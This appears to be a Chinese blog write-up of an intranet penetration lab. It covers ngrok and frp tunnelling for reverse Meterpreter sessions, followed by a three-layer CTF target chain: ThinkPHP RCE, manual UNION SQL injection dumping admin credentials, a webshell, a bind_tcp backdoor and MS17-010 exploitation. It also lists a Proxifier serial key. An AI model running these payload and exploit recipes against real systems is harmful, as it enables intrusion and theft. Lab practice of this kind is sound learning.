image-20220312170107367

知识点

私有地址

IPv4地址协议中预留了3个IP地址段,作为私有地址,供组织机构内部使用。当私有网络内的主机要与位于公网上的主机进行通讯时必须经过地址转换,将其私有地址转换为合法公网地址才能对外访问。

A类地址:10/8 10.0.0.0–10.255.255.255

B类地址:172.16/12 172.16.0.0–172.31.255.255

C类地址:192.168/16 192.168.0.0–192.168.255.255

内网间通信

需要使用代理技术才能通信

正向反向协议通信连接

正向:控制端连到被控端

反向:被控端连到控制端

我们一般无法直接访问到内网地址,就需要内网中的主机自己出网找到我们的唯一公网地址

内网穿透代理隧道技术

代理:解决网络的连通性

隧道:应对流量监控工具和防火墙的过滤

内网穿透Ngrok测试-两个内网通讯上线

Ngork

ngrok 是一个反向代理,通过在公共的端点本地运行的 Web 服务器之间建立一个安全的通道。ngrok 可捕获和分析所有通道上的流量,便于后期分析和重放。

反向代理在计算机网络中是代理服务器的一种。服务器根据客户端的请求,从其关系的一组或多组后端服务器(如Web服务器)上获取资源,然后再将这些资源返回给客户端,客户端只会得知反向代理的IP地址,而不知道在代理服务器后面的服务器集群的存在。

搭建

https://ngrok.com/

访问上述网址,注册登录后下载运行文件(注意区分操作系统),并获取自己账号对应的auth

image-20220312234902072

题外话:

压缩文件 非打包

1
2
3
# touch a.c       
# tar -czvf test.tar.gz a.c //压缩 a.c文件为test.tar.gz
a.c

列出压缩文件内容

1
2
# tar -tzvf test.tar.gz 
-rw-r--r-- root/root 0 2010-05-24 16:51:59 a.c

解压文件

1
2
# tar -xzvf test.tar.gz 
a.c

参考

https://learnku.com/articles/36003

https://www.thinbug.com/q/55014750

https://www.jianshu.com/p/571fdbc98d25

实验测试

基本攻击思路如下图

image-20220313222625737

环境

攻击机:kali,ip 192.168.184.128,NAT模式

目标机:win7, ip 192.168.123.128,NAT模式

这里通过我的电脑虚拟机,和室友的电脑虚拟机建立两个内网,互相不能ping通(实在找不到两个不同内网也能用本地两台虚拟机模拟)

image-20220313110352213

image-20220313110456884

题外话(NAT-Network Address Translation):

当在专用网(私网)内部的一些主机本来已经分配到了本地IP地址(即仅在本专用网内使用的专用地址),但又想和因特网上的主机通信(并不需要加密)时,可使用NAT方法。

NAT不仅能解决IP地址不足的问题,而且还能够有效地避免来自网络外部的攻击,隐藏并保护网络内部的计算机。

1.宽带分享:这是 NAT 主机的最大功能。

2.安全防护:NAT 之内的 PC 联机到 Internet 上面时,他所显示的 IP 是 NAT 主机的公共 IP,所以 Client 端的 PC 当然就具有一定程度的安全了,外界在进行 portscan(端口扫描) 的时候,就侦测不到源Client 端的 PC 。

启动ngork

./ngork http 192.168.128:2333

image-20220313110602345

这里代理服务器会将收到的消息转发到攻击机的2333端口

利用msf生成木马
1
2
3
4
5
sfvenom -p windows/meterpreter/reverse_http lhost=a40a-182-150-122-182.ngrok.io lport=80 -f exe -o test1.exe

# 注意
# 这里lhost的值要与代理服务器一致
# lport=80,我理解的是利用木马使目标机走http协议(80端口)连接代理服务器,因为代理服务器也没有开放其他监听端口来监听目标机的连接

image-20220313112814001

生成后将木马传到目标机上

msf配置监听

image-20220313191141668

获取目标主机会话

在目标主机运行木马,ngork收到http requests(这个过程可能会比较慢,可以多次运行木马文件)

image-20220313191359583

并且msf收到会话

image-20220313191715343

到此已打通两个内网主机,实现通信

内网穿透Frp自建跳板测试-两个内网通讯上线

两个不同内网通讯示意图如下:

image-20220312225244562

特点

自行搭建,方便修改,成本低,使用多样化

frp配置

服务端

(阿里云主机需要修改安全组配置出入口)

下载-解压-修改-启动

1
2
3
4
5
# 服务器修改配置文件frps.ini
[common]
bind_port = 6677 # frps工作端口,必须和frpc保持一致
# 启动服务端:
./frps -c ./frps.ini # 若无法运行使用chmod添加执行权限

image-20220313231614464

控制端

下载-解压-修改-启动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 控制端修改配置文件frpc.ini:

[common]
server_addr = 云主机ip
server_port = 6677 # frpc工作端口,必须和frps保持一致

[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 5555 # 转发给本机的5555
remote_port = 6666 # 服务端用6666端口转发给本机,6666端口也负责接收目标主机的回连

# 启动客户端
./frpc -c ./frpc.ini # 若无法运行使用chmod添加执行权限

image-20220313232359476

image-20220313232454388

msf+frp联动

msf生成木马

msfvenom -p windows/meterpreter/reverse_tcp lhost=121.4.209.19 lport=6666 -f exe -o frp.exe

image-20220313234704665

msf本地开启监听

1
2
3
4
5
6
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit
# 注意不要打错了,不然会出现有session但没有返回meterpreter的情况

运行frp

开启frp服务后,在目标主机执行木马文件frp.exe,便会收到会话

image-20220314114842998

ngork和frp

fps自建,可以让自己传输的数据不被外人监听

ngork是别人的服务器,传输数据可能存在被别人偷听

CFS三层内网漫游安全测试-某CTF线下2019

CFS(竞速夺旗)

来源:2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个Flag对应一个积分,获取三个Flag结束。

环境介绍

image-20220315071346520

环境搭建

下载靶机后,导入VM中

配置网卡

编辑->虚拟网络编辑器

image-20220314215917939

image-20220314215942383

target1

双网卡

image-20220314220218043

image-20220322122558533

还需要配置宝塔

image-20220328231845438

访问:http://192.168.184.142:8888/a768f109/

添加如下配置

image-20220328232452306

target2

双网卡

配置网卡操作同target1

更改ip地址操作如下

1.打开vi /etc/network/interfaces文件

2.编辑后重启

image-20220314225900399

image-20220314230054351

还需要配置宝塔(这里多弄一张nat网卡才能访问宝塔面板)

image-20220328232935221

访问:http://192.168.184.145:8888/2cc52ec0/

不知道为啥这里显示的password是错的,网上搜到密码应该是123qwe..

添加配置如下

image-20220328233502253

配置完后关闭这张nat网卡

target3

单网卡

配置网卡同target1

更改ip地址操作如下:

image-20220314222801233

打靶

利用思路

image-20220315071422010

利用过程

利用nmap进行C段扫描,得到target1的ip,nmap 192.168.184.0/24

image-20220328225802598

访问80端口,是一个thinkphp5搭建的web服务

先上扫描器扫后台

image-20220328234645647

访问/robots.txt,拿到第一个flag

image-20220328234729762

TP5可能存在RCE,于是利用msf的攻击模块去打

image-20220329000208681

1
2
3
4
5
6
7
8
use exploit/unix/webapp/thinkphp_rce

set rhosts 192.168.184.142
set rport 80
set targeturi /index.php
set lhost 192.168.184.128
set lport 1111
run

成功拿到shell,获取到web权限

image-20220329000410415

信息收集及配置访问

1
2
3
4
5
获取网络接口:run get_local_subnets

查看路由地址:run autoroute -p

添加路由地址:run autoroute -s 192.168.22.0/24

image-20220329090918434

msf开启本地代理

1
2
3
4
use auxiliary/server/socks_proxy
show options
set SRVHOST 192.168.184.128
set SRVPORT 自定义端口

image-20220329111935071

利用本地代理接口进行访问测试

linux

1
vim /etc/proxychains4.conf # 找到配置文件位置

添加如下内容

image-20220329123846686

利用proxychains4,对192.168.22.0/24网段进行探针

1
2
3
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80
# -Pn:扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
# -sT:扫描TCP数据包已建立的连接connect

这里探针到192.168.22.22的80端口开启

image-20220329124542378

这里还可以使用msf自带的端口扫描

1
2
3
4
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.22.0/24
set threads 100
run

windows

利用代理工具ProxyfierSocksCap64载入代理进行进程访问测试

在浏览器配置代理去访问刚刚过的的目标ip地址(这里在自己真实主机上通过设置代理也能访问到,因为主机能ping通192.168.184.128)

image-20220329130318953

这里利用SocksCap64结合御剑进行后台扫描(此操作在自己的物理主机上)

image-20220329134654327

但是对扫描到的路径和文件进行访问并没有可用信息,只在robots.txt文件中发现了后台登陆点/index.php?r=admini

image-20220329135335168

继续找线索,在目标主页右键查看源码信息,得到Hint,该站点/index.php?r=vul&keyword=1存在SQL注入

image-20220329135026553

这里最开始我是用kali里的sqlmap去跑的

1
sqlmap -u "http://192.168.22.22/index.php?r=vul&keyword=1" --proxy="http://192.168.184.128:1080" -p keyword

不知道为什么说不存在注入

image-20220329184429802

在物理机上的sqlmap更是扫不了,不知道为什么代理没起作用

image-20220329184736495

最后我采用手工注入😭

  1. 获取数据库

    1
    http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.schemata%23

    image-20220329185049507

  2. 获取bagecms数据库下的所有表名

    1
    http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.tables where table_schema='bagecms'%23

    image-20220329191110591

  3. 获取bagecms数据库下的bage_admin表中所有字段

    1
    http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from information_schema.columns where table_name='bage_admin'%23

    image-20220329191034198

  4. 获取bagecms数据库下的bage_admin表中字段usernamepassword的值

    1
    http://192.168.22.22/index.php?r=vul&keyword=1' union select group_concat(username),group_concat(password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39 from bage_admin%23

    image-20220329191015201

    密码通过somd5解密如下

    image-20220329190949213

  5. 综上获得用户名:admin,密码:123qwe

用获得的用户名和密码去后台登录,进去便得到第二个flag

image-20220329210529861

在后台翻找,发现这里可以直接修改**/tag/下的index.php**的内容image-20220329213818228

我直接写个🐴进去

image-20220329213748834

但是我这里又遇到问题了,不管是Proxifier或SocksCap64做代理用caidao去连,还是用蚁剑自带的代理设置去连,都没有成功

image-20220330123630813

image-20220330125727308

折磨了我一晚上第二天早上又折磨了一上午,最后在网上看到说可能是宝塔有拦截,用冰蝎可以连,于是我就上了冰蝎的🐴

终于成功了!!!!!雷姆😭

image-20220330125057766

image-20220330125017505

要是还不成功我都想用一些奇怪的姿势去弄了,比如将target2反弹shell(通过写入命令执行到.php文件)给target1,taiget1利用portmap端口转发再反弹给kali的msf,来拿shell(详细参考:内网安全-域横向网络&传输&应用层隧道技术

总之拿到shell就好,tnl

到此target2拿下,接下来是target3

这里插一句,做一个小记录,我最开始是想通过下图这个执行sql语句来写入webshell的,但是貌似没有写的权限,并且对<?php ?>有过滤,再加上也不知道网站根目录在哪,就没有深入了

image-20220330134910010

这里我们要继续到第三个靶机target3还需要借助target2来设置路由才能访问,所以需要将target2的shell交到msf手上

这里不能采用反向连接,因为target2是无法出网找到我们的kali的,所以需要我们的kali主动去绑定target2,所以msf在生成木马时会和反弹shell有不同

生成正向后门:

1
2
3
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf
# 这里使用的是bind_tcp,而反弹时reverse_tcp
# elf是linux的可执行文件

msf正向连接

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
set LPORT 3333
exploit

image-20220330142924770

利用冰蝎去上传并执行后门

image-20220330142309606

image-20220330142933188

msf得到获得session

image-20220330143127979

这里其实也可以不这么麻烦,冰蝎上有可以将不出网的主机反弹给msf的功能,同样能将冰蝎得到的shell反弹给msf

image-20220330164132272

信息收集及配置访问

1
2
3
4
5
获取网络接口:run get_local_subnets

查看路由地址:run autoroute -p

添加路由地址:run autoroute -s 192.168.33.0/24

image-20220330144253085

使用msf自带的端口扫描,来探针存活主机

1
2
3
4
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.33.0/24
set threads 100
run

探针到存活主机192.168.33.33

image-20220330151139120

再用proxychains4+nmap来对192.168.33.33进行端口扫描,通过结果可以看出是一台windows

image-20220330152401211

这里猜测大概率存在永恒之蓝MS17-010

利用msf的攻击模块尝试去打

先search一下有哪些攻击模块

image-20220330154444035

选择exploit/windows/smb/ms17_010_psexec

1
2
3
4
5
6
7
8
9
10
11
# 选择攻击模块
use exploit/windows/smb/ms17_010_psexec

# 设置正向连接
set payload windows/x64/meterpreter/bind_tcp

# 设置攻击目标ip地址
set rhosts 192.168.33.33

# 开打!
run

成功得到session

这里shell乱码,可以输入chcp 65001修改编码,就好了

image-20220330162930441

搜索flag

1
2
3
4
5
6
cd /
dir /S *flag* /B
type C:\Windows\System32\config\flag.txt
# /B 显示文件夹或文件的名字
# /S 显示指定目录和所有子目录中的文件。
# dir /S /B *flag* 这样写也可以

image-20220330163354812

这里得到两个flag

到此三层内网靶机渗透完毕,芜湖起飞!🛫🛫🛫

总结

这次打这个靶机可谓是困难重重,遇到好多非预期bug,看别人文章上顺的一批,自己就是死活弄不出,折磨了好几天,真是让我体会到,不是自己动手做过,真不知道其中的艰辛,看着别人一帆风顺,实则一大堆坑在等着,所以(实操>>理论)。不过结果是好的,有了第一次,下次也许就顺了吧,也许吧😇

参考

https://blog.csdn.net/weixin_45447309/article/details/106907920

https://blog.csdn.net/li93675/article/details/81175883

内网安全-隧道穿透漫游-先知社区

为什么蚁剑连接成功了,但是再次执行命令就会reset【宝塔的服务器】

资源

frp:https://github.com/fatedier/frp/releases/(下载选择对应版本,linux查看内核版本信息`unam -a`)

CFS三层靶机环境:https://pan.baidu.com/s/1l5-TOVe9FO8mEjCiZ4mtMQ 提取码:xiao

SocksCap64下载

Proxifier下载—注册码序列号5EZ8G-C3WL5-B56YG-SCXM9-6QZAP(Standard Edition 安装版本)